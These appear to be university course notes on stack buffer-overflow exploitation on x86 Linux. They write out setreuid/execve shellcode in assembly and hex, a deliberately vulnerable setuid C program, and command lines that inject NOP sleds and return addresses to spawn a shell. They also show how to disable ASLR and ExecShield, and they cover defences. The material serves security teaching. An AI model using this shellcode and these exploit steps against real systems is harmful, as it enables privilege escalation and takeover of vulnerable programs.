Code Exploits

Sources

Jon Erickson, *Hacking: The Art of Exploitation*, Chapter 2.

Aleph One, "Smashing the Stack for Fun and Profit" (can be found at `http://cs.wellesley.edu/~cs342/stack-smashing.txt`).

scut/team teso, "Exploiting Format String Vulnerabilities" (can be found at `http://cs.wellesley.edu/~security/papers/formatstring/formatstring-1.2.pdf`).

A Sample Program

The following sample program is based on `example3.c` from Aleph One's paper:

```
/* Contents of example3a.c */
void function (int a, int b, int c) {
  char buffer1[5];
  char buffer2[10];
  int *ret;
  buffer1[0] = 'A';
}

int main() {
  int x;
  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
```

Let's compile and execute it:

```
[cs342@wampeter smashing-code] gcc -o example3a example3a.c
[cs342@wampeter smashing-code] example3a
1
```

Let's find the relative offset of `buffer[0]` from the base pointer:

```
[cs342@wampeter smashing-code] gdb example3a
GNU gdb Red Hat Linux (6.1post-1.20040607.52rh) ...

(gdb) disassemble function
Dump of assembler code for function function:
0x08048348 <function+0>: push   %ebp
0x08048349 <function+1>: mov    %esp,%ebp
0x0804834b <function+3>: sub    $0x38,%esp
0x0804834e <function+6>: movb   $0x41,0xfffffe8(%ebp)
0x08048352 <function+10>: leave
0x08048353 <function+11>: ret
End of assembler dump.
```

Overwriting the Return Pointer: Part 1

We can overwrite the return pointer with "garbage" by writing too long a string into `buffer1`. (Note: `strcpy` does *not* check if the source is bigger than the destination!)

```
void function (int a, int b, int c) {
  char buffer1[5];
  char buffer2[10];
  int *ret;

  buffer1[0] = 'A';
  // buffer1 is at -24(%ebp), so return pointer is 24 + 4 = 28 bytes away
  // Let's overwrite the return pointer:
  strcpy(buffer1, "12345678901234567890123456780 12");
}

int main() {
  int x;
  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
```

Let's test it:

```
[cs342@wampeter smashing-code] gcc -o example3b example3b.c
[cs342@wampeter smashing-code] example3b
Segmentation fault
```

Overwriting the Return Pointer: Part 2

Suppose we want to skip over the `x = 1` assignment in the `main` program. How can we do this? First, we use `gdb` to see the offset by which we need to change the return pointer:

```
[cs342@wampeter smashing-code] gdb example3b
GNU gdb Red Hat Linux (6.1post-1.20040607.52rh) ...

(gdb) disassemble main
Dump of assembler code for function main:
0x0804839c <main+0>: push   %ebp
0x0804839d <main+1>: mov    %esp,%ebp
0x0804839f <main+3>: sub    $0x8,%esp
0x080483a2 <main+6>: and    $0xfffffff0,%esp
0x080483a5 <main+9>: mov    $0x0,%eax
0x080483aa <main+14>: sub    %eax,%esp
0x080483ac <main+16>: movl   $0x0,0xfffffffc(%ebp)
0x080483b3 <main+23>: sub    $0x4,%esp
0x080483b6 <main+26>: push   $0x3
0x080483b8 <main+28>: push   $0x2
0x080483ba <main+30>: push   $0x1
0x080483bc <main+32>: call   0x804837c <function>
0x080483c1 <main+37>: add    $0x10,%esp
0x080483c4 <main+40>: movl   $0x1,0xfffffffc(%ebp)
0x080483cb <main+47>: sub    $0x8,%esp
...
```

The return address of the call to `function` is `0x080483c1 <main+37>`. To skip over assignment, we want it to be `0x080483cb <main+47`. So we can add 10 to the return pointer. Recall this is at an offset of 28 bytes from `buffer1`.

```
void function (int a, int b, int c) {
  char buffer1[5];
  char buffer2[10];
  int *ret;
  buffer1[0] = 'A';
  ret =  ((int*) (buffer1 + 28));
  (*ret) += 10;
}

int main() {
  int x;
  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
```

Let's test it:

```
[cs342@wampeter smashing-code] gcc -o example3c example3c.c
[cs342@wampeter smashing-code] example3c
0
```

Shellcode: Invoking a Shell in C

From the C man pages:

`int setreuid(uid_t ruid, uid_t euid);`

`setreuid` sets real and effective user IDs of the current process. Unprivileged users may only set the real user ID to the real user ID or the effective user ID, and may only set the effective user ID to the real user ID, the effective user ID or the saved user ID.

`int execve(const char *filename, char *const argv [], char *const envp[]);`

`execve()` executes the program pointed to by filename. filename must be either a binary executable, or a script starting with a line of the form "`#!` interpreter [arg]". In the latter case, the interpreter must be a valid pathname for an executable which is not itself a script, which will be invoked as interpreter [arg] filename.

`argv` is an array of argument strings passed to the new program. envp is an array of strings, conventionally of the form key=value, which are passed as environment to the new program. Both, `argv` and `envp` must be terminated by a null pointer. The argument vector and environment can be accessed by the called programs main function, when it is defined as `int main(int argc, char *argv[], char *envp[])`.

`execve()` does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.

If the set-uid bit is set on the program file pointed to by filename the effective user ID of the calling process is changed to that of the owner of the program file. Similarly, when the set-gid bit of the pro gram file is set the effective group ID of the calling process is set to the group of the program file.

```
/* Contents of myshell1.c */
#include <stdio.h>

int main() {
  char* myargv[2];
  myargv[0] = "/bin/sh";
  myargv[1] = NULL;
  setreuid(3587,3587); // 3587 is user cs342's ID; 0 is root's ID

  // Myargv+1 is a string array with a single NULL element:
  // execve(myargv[0], myargv, myargv+1);

  // Aleph One uses NULL directly instead of myargv + 1, and this appears to work.
  execve(myargv[0], myargv, NULL);

  // NOTE: Any code after this point would never be executed
  //   because EXECVE overwrites current process.
}
```

Let's test it:

```
[cs342@wampeter hacking-code] gcc -o myshell1 myshell1.c
[cs342@wampeter hacking-code] chmod 4755 myshell1

[gdome@wampeter gdome] ~cs342/hacking-code/myshell1
sh-2.05b$ whoami
cs342
sh-2.05b$
```

Shellcode: Handwritten in Assembly

Now our goal is to generate a small sequence of x86 instructions (in binary) that we can represent as a "shellcode string". Our next step towards this goal is to create hand-written x86 assembly code that has the same effect as `myshell1.c`.

To do this, we need to know the following steps for executing system calls like `execve` and `setreuid` in assembly code:

- Put system call code in EAX (11 for `execve`, 70 for `setreuid`).
- Put "arguments" in EBX, ECX, EDX
- Perform instruction `int $0x80`, which performs a system call interrupt.

```
# Contents of myshell2.s
.section .data # This *cannot* be .rodata because we want to overwrite it!
.mydata: .string "/bin/shXAAAABBBB"
        # Need to stuff char 0 into X to terminate it.
        # Chars AAAABBBB are space for myargv variable.
        # Need to stuff address of "/bin/sh" into AAAA and 0000 into BBBB.
.text
.globl main
main:
    # setreuid(uid_t ruid, uid_t euid)
        movl $70, %eax   # 70 is the system call code for setreuid
        movl $3587, %ebx # 1st arg = real uid to 3587
                         #   (cs342 ID, root would be 0)
        movl %ebx, %ecx  # 2nd arg = effective uid to 3587
                         #   (cs342 ID, root would be 0)
        int $0x80        # kernel interrupt invokes system call
    # execve(const char* filename, const char* argv[], const char* envp[])
        movl $.mydata, %ebx   # 1st arg = address of command string ("/bin/shXAAABBB")
          movl $0, %eax       # Put 0 into EAX
          movb %al, 7(%ebx)   # AL = lowest byte of EAX register
                              #   Stuffs char 0 into X to terminate "/bin/sh" string
          movl %ebx, 8(%ebx)  # Stuffs addresss of "/bin/sh" into AAAA
          movl %eax, 12(%ebx) # Stuffs 0000 into BBBB
         leal 8(%ebx), %ecx   # 2nd arg = argv (address of AAAABBBB)
          movl %eax, %edx     # 3rd arg = NULL
                              #   (or could use *address* of NULL
                              #    via "leal 12(%ebx), %edx")
          movl $11, %eax      # 11 is the system call code for execve
          int $0x80           # kernel interrupt invokes system call
```

Let's test it:

```
[cs342@wampeter hacking-code] gcc -o myshell2 myshell2.s
[cs342@wampeter hacking-code] chmod 4755 myshell2

[gdome@wampeter gdome] ~cs342/hacking-code/myshell2
sh-2.05b$ whoami
cs342
sh-2.05b$
```

Shellcode: Handwritten in Assembly in Text Segment Only

`myshell2.s` uses both the data and text segments. Next we need a version that resides in only the text segment, since the code and data must all be together in the final shellcode string.

The trick we use is to put the string `/bin/shXAAAABBBB` at the end of the code and use a `call` instruction to push its address on the stack.

```
# Contents of myshell3.s
.text
.globl _start
_start:                  # Use _start rather than main so can make a .o file (see below)
# setreuid(uid_t ruid, uid_t euid)
        movl $70, %eax   # 70 is the system call code for setreuid
        movl $3587, %ebx # 1st arg = real uid to 3587 (cs342 ID, root would be 0)
        movl %ebx, %ecx  # 2nd arg = effective uid to 3587 (cs342 ID, root would be 0)
        int $0x80        # kernel interrupt invokes system call
        jmp bottom
myexec:
# execve(const char* filename, const char* argv[], const char* envp[])
        popl %ebx           # Pop address of command string ("/bin/shXAAABBB")
                            #   into EBX = 1st arg.
        movl $0, %eax       # Put 0 into EAX
        movb %al, 7(%ebx)   # AL = lowest byte of EAX register
                            #   Stuffs char 0 into X to terminate "/bin/sh" string
        movl %ebx, 8(%ebx)  # Stuffs addresss of "/bin/sh" into AAAA
        movl %eax, 12(%ebx) # Stuffs 0000 into BBBB
        leal 8(%ebx), %ecx  # 2nd arg = argv (address of AAAABBBB)
        movl %eax, %edx     # 3rd arg = NULL
                            #   (or could use *address* of NULL via "leal 12(%ebx), %edx")
        movl $11, %eax      # 11 is the system call code for execve
        int $0x80           # kernel interrupt invokes system call
bottom:
        call myexec
        .string "/bin/shXAAAABBBB"
        # Need to stuff char 0 into X to terminate it.
        # Chars        AAAABBBB are space for myargv variable.
        # Need to stuff address of "/bin/sh" into AAAA and 0000 into BBBB.
```

This version *cannot* be compiled and run like `myshell2.s` because the text segment is normally read-only and `myshell3.s` attempts to write to it (which would cause a segmentation violation).

However, it can be compiled and run using the following magical incantation, where the linker option `--omagic` disables the read-only nature of the text segment and makes it writable:

```
[cs342@wampeter hacking-code] gcc -c -o myshell3.o myshell3.s
[cs342@wampeter hacking-code] ld --omagic -o myshell3 myshell3.o
[cs342@wampeter hacking-code] chmod 4755 myshell3

[gdome@wampeter gdome] ~cs342/hacking-code/myshell3
sh-2.05b$ whoami
cs342
sh-2.05b$
```

Shellcode: An Improved Text-Segment-Only Version

We can improve `myshell3.s` by getting rid of `AAAABBBB`, which will be overwritten by the program anyway.[1]

```
# Contents of myshell4.s
# This is like myshell3.s, but has a shorter string at the end.
.text
.globl _start
_start:                  # Use _start rather than main so can make a .o file (see below)
# setreuid(uid_t ruid, uid_t euid)
        movl $70, %eax   # 70 is the system call code for setreuid
        movl $3587, %ebx # 1st arg = real uid to 3587 (cs342 ID, root would be 0)
        movl %ebx, %ecx  # 2nd arg = effective uid to 3587 (cs342 ID, root would be 0)
        int $0x80        # kernel interrupt invokes system call
        jmp bottom
myexec:
# execve(const char* filename, const char* argv[], const char* envp[])
        popl %ebx            # Pop address of command string ("/bin/sh")
                             #   into EBX = 1st arg.
        movl $0, %eax        # Put 0000 into EAX
        movb %al, 7(%ebx)    # AL = lowest byte of EAX register
                             #   Stuffs char 0 into X to terminate "/bin/sh" string
        movl %ebx, 8(%ebx)   # Stuff addresss of "/bin/sh" into AAAA
        movl %eax, 12(%ebx)  # Stuff 0000 into BBBB
        leal 8(%ebx), %ecx   # 2nd arg = argv (address of AAAABBBB)
        movl %eax, %edx      # 3rd arg = NULL
                             #   (or could use *address* of NULL via "leal 12(%ebx), %edx")
        movl $11, %eax       # 11 is the system call code for execve
        int $0x80            # kernel interrupt invokes system call
bottom:
        call myexec
        .string "/bin/sh" # This is already null-terminated by default
        # Imagine this is still followed by AAAABBBB
```

This is compiled and run like `myshell3.s`:

```
[cs342@wampeter hacking-code] gcc -c -o myshell4.o myshell4.s
[cs342@wampeter hacking-code] ld --omagic -o myshell4 myshell4.o
[cs342@wampeter hacking-code] chmod 4755 myshell4

[gdome@wampeter gdome] ~cs342/hacking-code/myshell4
sh-2.05b$ whoami
cs342
sh-2.05b$
```

[1] We might also be tempted to delete the code that writes a NUL character into the X after `/bin/sh` and instead rely on having the assembler put the NUL character at the end of this string. However, later we will see that we will want to add other bytes after the shellcode and having an explicit NUL character after `/bin/sh` would prematurely terminate the shellcode.

Shellcode: A Problem – Null Bytes

Null bytes (characters with ASCII value 0) are a problem, because they will terminate a string of bytes in the C string convention. For example, here are the instruction bytes of the assembled myshell4.s:

```
[cs342@wampeter hacking-code] gdb myshell4 ...

(gdb) disassemble _start
Dump of assembler code for function _start:
0x08048074 <_start+0>:     mov    $0x46,%eax
0x08048079 <_start+5>:     mov    $0xe03,%ebx
0x0804807e <_start+10>:    mov    %ebx,%ecx
0x08048080 <_start+12>:    int    $0x80
0x08048082 <_start+14>:    jmp    0x804809f <bottom>
End of assembler dump.

(gdb) disassemble myexec
Dump of assembler code for function myexec:
0x08048084 <myexec+0>:  pop    %ebx
0x08048085 <myexec+1>:  mov    $0x0,%eax
0x0804808a <myexec+6>:  mov    %al,0x7(%ebx)
0x0804808d <myexec+9>:  mov    %ebx,0x8(%ebx)
0x08048090 <myexec+12>: mov    %eax,0xc(%ebx)
0x08048093 <myexec+15>: lea    0x8(%ebx),%ecx
0x08048096 <myexec+18>: mov    %eax,%edx
0x08048098 <myexec+20>: mov    $0xb,%eax
0x0804809d <myexec+25>: int    $0x80
End of assembler dump.

(gdb) disassemble bottom
Dump of assembler code for function bottom:
0x0804809f <bottom+0>:  call   0x8048084 <myexec>
0x080480a4 <bottom+5>:  das
0x080480a5 <bottom+6>:  bound  %ebp,0x6e(%ecx)
0x080480a8 <bottom+9>:  das
0x080480a9 <bottom+10>: jae    0x8048113
0x080480ab <bottom+12>: .byte  0x0
End of assembler dump.

(gdb) x/15xw 0x08048074
0x8048074 <_start>:     0x000046b8      0x0e03bb00      0xd9890000      0x1beb80cd
0x8048084 <myexec>:     0x0000b85b      0x43880000      0x085b8907      0x8d0c4389
0x8048094 <myexec+16>:  0xc289084b      0x00000bb8      0xe880cd00      0xfffffe0
0x80480a4 <bottom+5>:   0x6e69622f      0x0068732f      Cannot access memory at address 0x80480ac
```

Printed out in the order they would be executed, here are the instructions and their associated bytes:

```
        mov $0x46,%eax          b8 46 00 00 00
        mov $0xe03,%ebx         bb 03 0e 00 00
        mov %ebx,%ecx           89 d9
        int $0x80               cd 80
        jmp 0x8048097 <bottom>  eb 1b          # relative jump +27 bytes
myexec: pop %ebx                5b
        mov $0x0, %eax          b8 00 00 00 00
        mov %al,0x7(%ebx)       88 43 07
        mov %ebx,0x8(%ebx)      89 5b 08
        mov %eax,0xc(%ebx)      89 43 0c
        lea 0x8(%ebx),%ecx      8d 4b 08
        mov %eax,%edx           89 c2
        mov $0xb,%eax           b8 0b 00 00 00
        int $0x80               cd 80
bottom: call 0x8048084 <myexec> e8 e0 ff ff ff # relative call -32 bytes
        /bin/sh                 2f 62 69 6e 2f 73 68
```

Now we need to remove all null bytes.

- The sequence `b8 46 00 00 00` corresponds to `mov $0x46,%eax`, which loads system code 11 into EAX. The same effect can be achieved by first storing zero into EAX and moving the single byte $0x46 into AL (the register corresponding to the lowest byte of EAX). A zero can be stored in EAX without using null bytes by XORing it with itself. So

  ```
  mov $0x46,%eax          b8 46 00 00 00
  ```

  can be replaced by:

  ```
  xor %eax, %eax
  movb $0x46, %al
  ```

- Similarly, the instruction

  ```
  mov $0xe03,%ebx         bb 03 0e 00 00
  ```

  can be replaced by:

  ```
  xor %ebx, %ebx
  movw $0xe03, %bx
  ```

  where `movw` moves a 2-byte word into 2-byte register BX (the lower two bytes of EBX).

- Similarly, the instruction

  ```
  mov $0x0, %eax          b8 00 00 00 00
  ```

  can be replaced by:

```
        xor %eax, %eax
```

- The instruction

```
        mov $0xb,%eax           b8 0b 00 00 00
```

  can be replaced by:

```
        movb $0xb, %al
```

  Here there is no need for an initial `xor %eax, %eax` because it has already been performed above.

  After these changes the assembly code and corresponding machine code[2] is:

```
        xor %eax, %eax          31 c0
        movb $0x46, %al         b0 46
        xor %ebx, %ebx          31 db
        movw $0xe03, %bx        66 bb 03 0e
        mov %ebx,%ecx           89 d9
        int $0x80               cd 80
        jmp 0x8048097 <bottom>  eb 15          # relative jump +21 bytes
myexec: pop %ebx                5b
        xor %eax, %eax          31 c0
        mov %al,0x7(%ebx)       88 43 07
        mov %ebx,0x8(%ebx)      89 5b 08
        mov %eax,0xc(%ebx)      89 43 0c
        lea 0x8(%ebx),%ecx      8d 4b 08
        mov %eax,%edx           89 c2
        movb $0xb, %al          b0 0b
        int $0x80               cd 80
bottom: call 0x8048084 <myexec> e8 e6 ff ff ff # relative call -26 bytes
        /bin/sh                 2f 62 69 6e 2f 73 68
```

Notes:

- This shellcode is specialized for user `cs342` (user id = 3587). It needs a small change to work for user `root` (user id = 0). (What is the modification?)
- This shellcode is 49 bytes long. We can make it smaller by using techniques described in Section 0x2a7 of Erickson's *Hacking: The Art of Exploitation*. Smaller shellcode is preferable to allow attacks on smaller buffers.

[2] We recompile the assembly code and use `gdb` to determine the machine code again.

An Overflow Exploit: A Program to Exploit

First, we need a program to exploit:

```
// Contents of vuln1.c
int main (int argn, char** argv) {
  char buffer[100];
  int i;
  long *addr_ptr; // a "long" is guaranteed to be a four-byte word
  strcpy(buffer, argv[1]); // copies chars of argv[1] to buffer
                           // without bounds checking
  addr_ptr = (long *) buffer;
  for (i = 0; i < 35; i++) { // display 35 words of memory starting at buffer[0]
    printf("%08x:%08x\n", addr_ptr, *addr_ptr); // %08x displays 8 hex chars
    addr_ptr++;
  }
}
```

The statement `strcpy(buffer, argv[1]);` copies the characters in `argv[1]` to `buffer` without any sort of bounds checking. So if there are more than 100 characters, it will start overwriting the stack after the end of the space allocated for `buffer`.

The program also displays 35 words of memory starting with `buffer` = `buffer[0]`. Of course, a program wouldn't normally do this, but we include it to help us understand the exploit.

We compile `vuln1.c` as user `cs342` and make it setuid to make things interesting:

```
[cs342@puma hacking-code] gcc -o vuln1 vuln1.c
[cs342@puma hacking-code] chmod 4755 vuln1
```

Now let's execute `vuln1` as a different user (`gdome`). If we enter up to 100 characters everything works just fine:

```
[gdome@jay ~] ~cs342/hacking-code/vuln1 aaaabbbbccccddddeeeeffffggggghhhhiiiijjjjkkkkllllmmmmnnnnoooo
ppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyy
bfffe820:61616161
bfffe824:62626262
...
bfffe87c:78787878
bfffe880:79797979
bfffe884:00000000
bfffe888:080483e0
bfffe88c:00542ff4
bfffe890:0041aca0
bfffe894:080483e0
bfffe898:bfffe8f8
bfffe89c:00432d7f
bfffe8a0:00000002
bfffe8a4:bfffe924
bfffe8a8:bfffe930
```

In fact, things will work just fine even if we go a bit beyond 100 characters. How many characters can we write without causing things to go haywire? (Hint: where is the bottom of the frame?)

An Overflow Exploit: Preparing for the Exploit

First let's show that we can indeed cause things to go haywire:

```
[gdome@jay ~] ~cs342/hacking-code/vuln1 aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnoooo
ppppqqqqrrrrsssstttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEE
bfffe810:61616161
bfffe814:62626262
...
bfffe86c:78787878
bfffe870:79797979
bfffe874:7a7a7a7a
bfffe878:41414141
bfffe87c:42424242
bfffe880:43434343
bfffe884:44444444
bfffe888:45454545
bfffe88c:00432d00
bfffe890:00000002
bfffe894:bfffe914
bfffe898:bfffe920
Segmentation fault
```

BTW, note that changing the input string has caused the address of `buffer` to change from `bfffe820` to `bfffe810`. Presumably this is because the longer string requires more information to be pushed on the stack initially.

Next, let's learn how to use Perl to print strings, including replicated strings and strings with characters specified in hex:

```
[gdome@jay ~] perl -e 'print "ABC"x10;'
ABCABCABCABCABCABCABCABCABC[gdome@jay ~]

[gdome@jay ~] perl -e 'print "ABC"x10 . "DEF"x2 . "\n";'
ABCABCABCABCABCABCABCABCABCDEFDEF

[gdome@jay ~] perl -e 'print "\x65\x66\x67\x68"x5 . "\n";'
efghefghefghefghefgh

[gdome@jay ~] perl -e 'print "\x41\x42\x43\x44"x5 . "\n";'
ABCDABCDABCDABCDABCD

[gdome@jay ~] perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x66\xbb\x03\x0e\x89\xd9\xcd\x80
\xeb\x15\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x89\xc2\xb0\x0b\x
cd\x80\xe8\xe6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";' > shellcode

[gdome@jay ~] wc shellcode
wc: shellcode:1: Invalid or incomplete multibyte or wide character
0  3 49 shellcode
```

In the Linux shell, text between a pair of backquotes (grave accents) is treated as a command that is executed, and the text it produces is substituted for the backquoted expression.

```
[gdome@jay ~] echo "wc" > stuff
[gdome@jay ~] echo ‘cat stuff‘
wc
[gdome@jay ~] echo ‘cat stuff‘‘cat stuff‘‘cat stuff‘
wcwcwc
[gdome@jay ~] ‘cat stuff‘ shellcode
wc: shellcode:1: Invalid or incomplete multibyte or wide character
0  3 49 shellcode
```

For example, we can use backquotes to inject shellcode onto the stack by passing it as an argument to `vuln1`:

```
[gdome@jay ~] ~cs342/hacking-code/vuln1 ‘cat shellcode‘
bfffe860:46b0c031
bfffe864:bb66db31
bfffe868:d9890e03
bfffe86c:15eb80cd
bfffe870:88c0315b
bfffe874:5b890743
bfffe878:0c438908
bfffe87c:89084b8d
bfffe880:cd0bb0c2
bfffe884:ffe6e880
bfffe888:622fffff
bfffe88c:732f6e69
bfffe890:00000068
...
```

An Overflow Exploit: Going for the Kill

All we have to do now is fill the buffer after the shellcode with enough copies of the shellcode address that we overwrite the return address:

```
[gdome@jay ~] ~cs342/hacking-code/vuln1 ‘cat shellcode‘‘perl -e ’print "\x10\xe8\xff\xbf"x30;’‘
bfffe7e0:46b0c031
bfffe7e4:bb66db31
bfffe7e8:d9890e03
bfffe7ec:15eb80cd
bfffe7f0:88c0315b
bfffe7f4:5b890743
bfffe7f8:0c438908
bfffe7fc:89084b8d
bfffe800:cd0bb0c2
bfffe804:ffe6e880
bfffe808:622fffff
bfffe80c:732f6e69
bfffe810:ffe81068
bfffe814:ffe810bf
bfffe818:ffe810bf
...
bfffe864:ffe810bf
bfffe868:ffe810bf
Segmentation fault
```

Oops! The shellcode address needs to be word aligned. We can do this by adding 3 arbitrary characters after the shellcode to pad its 49 bytes to 52 bytes. Also, we change the shellcode address, which has moved again:

```
[gdome@jay ~] ~cs342/hacking-code/vuln1 ‘cat shellcode‘‘perl -e ’print "\x01"x3 . "\xe0\xe7\xff\xbf"x30;’‘
bfffe7e0:46b0c031
bfffe7e4:bb66db31
bfffe7e8:d9890e03
bfffe7ec:15eb80cd
bfffe7f0:88c0315b
bfffe7f4:5b890743
bfffe7f8:0c438908
bfffe7fc:89084b8d
bfffe800:cd0bb0c2
bfffe804:ffe6e880
bfffe808:622fffff
bfffe80c:732f6e69
bfffe810:01010168
bfffe814:bfffe7e0
bfffe818:bfffe7e0
...
bfffe864:bfffe7e0
bfffe868:bfffe7e0
sh-3.00$ whoami
cs342
sh-3.00$
```

Success!

An Overflow Exploit: NOP Sleds

In the above exploit, we had to determine the shellcode address exactly, which is generally hard. It's more flexible to put a long sequence of NOP instructions (\x90) before the shellcode, known as a **NOP sled**. Any address in the NOP sled will end up sliding into the shellcode:

```
[gdome@jay ~] ~cs342/hacking-code/vuln1 ‘perl -e ’print "\x90"x60;’‘‘cat shellcode‘‘perl -e ’print
"\x01"x3 . "\xc0\xe7\xff\xbf"x30;’‘
bfffe7a0:90909090
bfffe7a4:90909090
bfffe7a8:90909090
bfffe7ac:90909090
bfffe7b0:90909090
bfffe7b4:90909090
bfffe7b8:90909090
bfffe7bc:90909090
bfffe7c0:90909090
bfffe7c4:90909090
bfffe7c8:90909090
bfffe7cc:90909090
bfffe7d0:90909090
bfffe7d4:90909090
bfffe7d8:90909090
bfffe7dc:46b0c031
bfffe7e0:bb66db31
bfffe7e4:d9890e03
bfffe7e8:15eb80cd
bfffe7ec:88c0315b
bfffe7f0:5b890743
bfffe7f4:0c438908
bfffe7f8:89084b8d
bfffe7fc:cd0bb0c2
bfffe800:ffe6e880
bfffe804:622fffff
bfffe808:732f6e69
bfffe80c:01010168
bfffe810:bfffe7c0
bfffe814:bfffe7c0
bfffe818:bfffe7c0
bfffe81c:bfffe7c0
bfffe820:bfffe7c0
bfffe824:bfffe7c0
bfffe828:bfffe7c0
sh-3.00$ whoami
cs342
```

Pay attention to the structure of the injected code. It consists of three parts: (1) NOP sled; (2) shellcode; and (3) repeated shellcode addresses.

An Overflow Exploit: What Can Go Wrong

Lots of things can go wrong with code injection exploits. If we guess the wrong address, then we can hit an illegal instruction ...

```
[gdome@jay ~] ~cs342/hacking-code/vuln1 ‘perl -e ’print "\x90"x60;’‘‘cat shellcode‘‘perl -e ’print
"\x01"x3 . "\x10\xe8\xff\xbf"x30;’‘
bfffe7a0:90909090
bfffe7a4:90909090
bfffe7a8:90909090
bfffe7ac:90909090
bfffe7b0:90909090
bfffe7b4:90909090
bfffe7b8:90909090
bfffe7bc:90909090
bfffe7c0:90909090
bfffe7c4:90909090
bfffe7c8:90909090
bfffe7cc:90909090
bfffe7d0:90909090
bfffe7d4:90909090
bfffe7d8:90909090
bfffe7dc:46b0c031
bfffe7e0:bb66db31
bfffe7e4:d9890e03
bfffe7e8:15eb80cd
bfffe7ec:88c0315b
bfffe7f0:5b890743
bfffe7f4:0c438908
bfffe7f8:89084b8d
bfffe7fc:cd0bb0c2
bfffe800:ffe6e880
bfffe804:622fffff
bfffe808:732f6e69
bfffe80c:01010168
bfffe810:bfffe810
bfffe814:bfffe810
bfffe818:bfffe810
bfffe81c:bfffe810
bfffe820:bfffe810
bfffe824:bfffe810
bfffe828:bfffe810
Illegal instruction
```

If the NOP sled is too long, we can overwrite the return address with part of the shellcode, resulting in a segmentation violation. Below is another way to get a segmentation violation – what went wrong?

```
[gdome@jay ~] ~cs342/hacking-code/vuln1 ‘perl -e ’print "\x90"x60;’‘‘cat shellcode‘‘perl -e ’print
"\x01"x3 . "\x00\xe8\xff\xbf"x30;’‘
bfffe7c0:90909090
bfffe7c4:90909090
bfffe7c8:90909090
bfffe7cc:90909090
bfffe7d0:90909090
bfffe7d4:90909090
bfffe7d8:90909090
bfffe7dc:90909090
bfffe7e0:90909090
bfffe7e4:90909090
bfffe7e8:90909090
bfffe7ec:90909090
bfffe7f0:90909090
bfffe7f4:90909090
bfffe7f8:90909090
bfffe7fc:46b0c031
bfffe800:bb66db31
bfffe804:d9890e03
bfffe808:15eb80cd
bfffe80c:88c0315b
bfffe810:5b890743
bfffe814:0c438908
bfffe818:89084b8d
bfffe81c:cd0bb0c2
bfffe820:ffe6e880
bfffe824:622fffff
bfffe828:732f6e69
bfffe82c:01010168
bfffe830:e8bfffe8
bfffe834:ffe8bfff
bfffe838:bfffe8bf
bfffe83c:e8bfffe8
bfffe840:ffe8bfff
bfffe844:bfffe8bf
bfffe848:e8bfffe8
Segmentation fault
```

Other Kinds of Exploits

There are many other kinds of related exploits, many of which are described in Ericksons *Hacking: The Art of Exploitation*. Here is a sampler:

- If a buffer is too small to hold shellcode, the shellcode (with an initial NOP sled) can be stored in an environment variable, and the buffer can be overwritten with stack addresses that point into right part of the environment. (Recall from earlier experiments that the environment key/value pairs are stored on the stack.)
- Return addresses can be overwritten with the addresses of library functions.
- Buffers can also be overflowed on the heap. There are no return addresses there, but there may be data structure slots whose values are worth changing.
- *Format string vulnerabilities:* The correct way to display a string `str` with `printf` is `printf("%s", str)`, but lazy programmers sometimes write `printf(str)`. Because `printf` gets its arguments from the stack, it's easy to supply a format string `str` that display arbitrary contents of the stack below the argumetn `str` to `printf`. Even worse, there is a `%n` format specifier that writes the number of bytes written so far to a specified address. This can be used by wily hackers to overwrite the contents of arbitrary slots on the stack.
- Many other applications, such as web browsers and database interfaces, are subject to various kinds of code injection attacks. Some are based on buffer overflows; others violate other assumptions.

Preventing Overflow-like Exploits

What can be done to prevent overflow-like exploits?

- In languages like C/C++, care must be taken to do manual bounds-checking on arrays. Static analysis can be performed on programs to catch many potential overflows.
- For many applications, it's safer to use languages with automatic array-bounds checking, like Java, OCaml, Scheme, CommonLisp. Low-level programming and safety are not exclusive – e.g, the Cyclone language combines the best features of C and OCaml.
- The operating system can randomize where the stack starts, making it more difficult to guess the shellcode address. Indeed, our current versions of Linux do this by default. To get the deterministic behavior in the above examples, it's first necessary to disable this behavior by executing the following as root:

```
[root@jay ~] echo 0 > /proc/sys/kernel/randomize_va_space
```

If the value is 1, then the address is randomized:

```
[root@jay ~] echo 1 > /proc/sys/kernel/randomize_va_space

[gdome@jay ~] ~cs342/hacking-code/vuln1 aaaabbbb
bfeb6740:61616161
bfeb6744:62626262
...

[gdome@jay ~] ~cs342/hacking-code/vuln1 aaaabbbb
bfeb5740:61616161
bfeb5744:62626262
...

[gdome@jay ~] ~cs342/hacking-code/vuln1 aaaabbbb
bfb73bf0:61616161
bfb73bf4:62626262
...
```

- The operating system can restrict cases in which code can be executed from the stack. (It can't always be forbidden because compilers for some languages generate code that requires code fragments on the stack to be both writable and executable.) For instance, our version of Linux supports ExecShield, a system in which the default is not to execute code on the stack (but this default can be overridden). To get the behavior witnessed in the overflow exploits above, it was necessary to turn off ExecShield as follows:

```
[root@jay ~] echo 0 > /proc/sys/kernel/exec-shield
```

With ExecShield turned on, then even without stack randomization the exploits are prevented:

```
[root@jay ~] echo 9 > /proc/sys/kernel/exec-shield  # 9 is the default level
[root@jay ~] echo 0 > /proc/sys/kernel/randomize_va_space

[gdome@jay ~] ~cs342/hacking-code/vuln1 ‘cat shellcode‘‘perl -e ’print "\x01"x3 . "\xe0\xe7\xff\xbf"x30;’‘
bfffe7e0:46b0c031
bfffe7e4:bb66db31
bfffe7e8:d9890e03
bfffe7ec:15eb80cd
bfffe7f0:88c0315b
bfffe7f4:5b890743
bfffe7f8:0c438908
bfffe7fc:89084b8d
bfffe800:cd0bb0c2
bfffe804:ffe6e880
bfffe808:622fffff
bfffe80c:732f6e69
bfffe810:01010168
bfffe814:bfffe7e0
bfffe818:bfffe7e0
...
bfffe864:bfffe7e0
bfffe868:bfffe7e0
Segmentation fault
```

Here there is a segmentation fault because an attempt is made to execute code at address `bfffe7e0`, which is in a nonexecutable stack segment.